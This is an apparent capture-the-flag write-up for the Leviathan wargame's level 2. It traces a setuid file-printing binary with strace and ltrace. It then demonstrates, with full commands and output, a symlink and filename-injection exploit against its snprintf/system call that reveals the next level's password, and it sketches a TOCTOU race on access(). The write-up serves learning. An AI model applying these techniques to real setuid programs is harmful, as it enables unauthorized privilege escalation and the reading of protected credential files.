Level 02

 Publ .

 Mins 4 (825 words).

 Edit .

Level 02

A quick inspection portrays a puzzle very similar to the previous one. A binary file that runs with elevated permissions.

$ ./printfile
*** File Printer ***
Usage: ./printfile filename

First using /etc/leviathan_pass/leviathan3 followed by ~/.profile. It appears that this binary prints the contents of the given file to stdout.

Again the tools for analyzing the file are: readelf, strace and ltrace.

1 - readelf

$ readelf --all check | less

Inspected the output with the same guidelines used on the previous level [1] [2]. As per my understanding of it, nothing appears to be out of place.

2 - strace

Part of the output for this command is at display below, edited for highlighting what seem to be the system calls that might point to a solution. First, the behavior when the program successfully terminates:

$ strace ./printfile .profile

...
...
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf7fb6000, 31547)               = 0

###############################################
access(".profile", R_OK)                = 0
geteuid32()                             = 12002
geteuid32()                             = 12002
setreuid32(12002, 12002)                = 0
###############################################

rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
mmap2(NULL, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0xf7d78000
rt_sigprocmask(SIG_BLOCK, ~[], [CHLD], 8) = 0
clone3({flags=CLONE_VM|CLONE_VFORK, exit_signal=SIGCHLD, stack=0xf7d78000, stack_size=0x9000}, 88) = 2473892
munmap(0xf7d78000, 36864)               = 0
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
wait4(2473892, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 2473892
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2473892, si_uid=12002, si_status=0, si_utime=0, si_stime=0} ---
exit_group(0)                           = ?
+++ exited with 0 +++

Part of the trace when the binary does not successfully terminates:

strace ./printfile /etc/leviathan_pass/leviathan3

...
...
ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
munmap(0xf7fb6000, 31547)               = 0

#############################################################################
access("/etc/leviathan_pass/leviathan3", R_OK) = -1 EACCES (Permission denied)
#############################################################################

statx(1, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFCHR|0620, stx_size=0, ...}) = 0
getrandom("\x69\x7e\x77\x41", 4, GRND_NONBLOCK) = 4
brk(NULL)                               = 0x804d000
brk(0x806e000)                          = 0x806e000
brk(0x806f000)                          = 0x806f000
write(1, "You cant have that file...\n", 27) = 27
exit_group(1)                           = ?
+++ exited with 1 +++

Program execution diverges following the access() call, depending upon the input file. The call grants permissions for .profile, then file permissions are elevated. (This is the setuid in action).

3 - ltrace

$ ltrace ./printfile .profile

bc_start_main(0x80491e6, 2, 0xffffd5e4, 0 <unfinished ...>
access(".profile", 4)                                        = 0
snprintf("/bin/cat .profile", 511, "/bin/cat %s", ".profile") = 17
geteuid()                                                    = 12002
geteuid()                                                    = 12002
setreuid(12002, 12002)                                       = 0
system("/bin/cat .profile" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                       = 0
+++ exited (status 0) +++
$ ltrace ./printfile /etc/leviathan_pass/leviathan3

__libc_start_main(0x80491e6, 2, 0xffffd5d4, 0 <unfinished ...>
access("/etc/leviathan_pass/leviathan3", 4)                  = -1
puts("You cant have that file...")                           = 27
+++ exited (status 1) +++

Closely looking at the snprintf() call’s arguments and thoroughly reading its manual, builds evidence that there may be an exploitable vulnerability.

It is also possible, due to our previous analysis of the output of strace, that also the access() call may be problematic.

After in-depth research, two solutions seem plausible. One is relatively easy to understand and implement whereas the other is more technically advanced and presents greater difficulty, given my available knowledge.

  1. Command injection

The snprintf() call can be exploited using Code injection. The following steps show how to perform the exploit:

$ touch /tmp/folder/link
$ touch /tmp/folder/"link andotherfile"
$ ln -sf /etc/leviathan_pass/leviathan3 /tmp/folder/link
$ ls -la /tmp/folder

total 256
drwxrwxr-x    2 leviathan2 leviathan2   4096 Feb 14 18:40 .
drwxrwx-wt 6249 root       root       253952 Feb 14 18:40 ..
-rw-rw-r--    1 leviathan2 leviathan2      0 Feb 14 18:38 link andotherfile
lrwxrwxrwx    1 leviathan2 leviathan2     30 Feb 14 18:40 link -> /etc/leviathan_pass/leviathan3

$ ./printfile "/tmp/folder/link andotherfile"

Q0G8j4sakn
/bin/cat: andotherfile: No such file or directory
  • Two files are created, a link file pointing to the actual file we want to read and “dummy file” used as bite.

  • When the binary is executed, access() will return 0, because of the fact that our user has permissions to read "/tmp/folder/link andotherfile".
    Permissions are now elevated.

  • The snprintf() call appends the filename to the string /bin/cat . This is the flaw in the program.

  • The system() call runs the command /bin/cat link andotherfile, the symlink is dereferenced, and the contents of the file printed.

  1. Exploiting a race condition

The access() call is prone to let run wild a known security hole Even its manual has a warning regarding the situation:

man 2 access:

__Warning__: Using these calls to check if a user is authorized to, for example,
open a file before actually doing so using open(2) creates a security hole,
because the user might exploit the short time interval between checking and
opening the file to manipulate it.  For this reason, the use of this system call
should be avoided.

The trick is to modify the file to be read immediately after the access() call returns 0 elevating permissions, and exactly before the execution of the system() call.

See also: TOCTOU